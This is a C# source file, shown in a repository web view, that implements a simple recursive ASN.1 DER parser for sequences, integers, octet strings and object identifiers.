Files
Intellix/Intelix.Helper.Encrypted/Asn1Der.cs
T

96 lines
2.8 KiB
C#
Raw Normal View History

2026-08-27 10:55:23 -06:00
using System;
namespace Intelix.Helper.Encrypted;
public class Asn1Der
{
public enum Type
{
Sequence = 48,
Integer = 2,
OctetString = 4,
ObjectIdentifier = 6
}
public Asn1DerObject Parse(byte[] toParse)
{
Asn1DerObject asn1DerObject = new Asn1DerObject();
for (int i = 0; i < toParse.Length; i++)
{
switch ((Type)toParse[i])
{
case Type.Sequence:
{
byte[] array;
if (asn1DerObject.Lenght == 0)
{
asn1DerObject.Type = Type.Sequence;
asn1DerObject.Lenght = toParse.Length - (i + 2);
array = new byte[asn1DerObject.Lenght];
}
else
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Sequence,
Lenght = toParse[i + 1]
});
array = new byte[toParse[i + 1]];
}
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
Array.Copy(toParse, i + 2, array, 0, length);
asn1DerObject.Objects.Add(Parse(array));
i = i + 1 + toParse[i + 1];
break;
}
case Type.Integer:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Integer,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array3.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
break;
}
case Type.OctetString:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.OctetString,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array4.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
break;
}
case Type.ObjectIdentifier:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.ObjectIdentifier,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array2.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
break;
}
}
}
return asn1DerObject;
}
}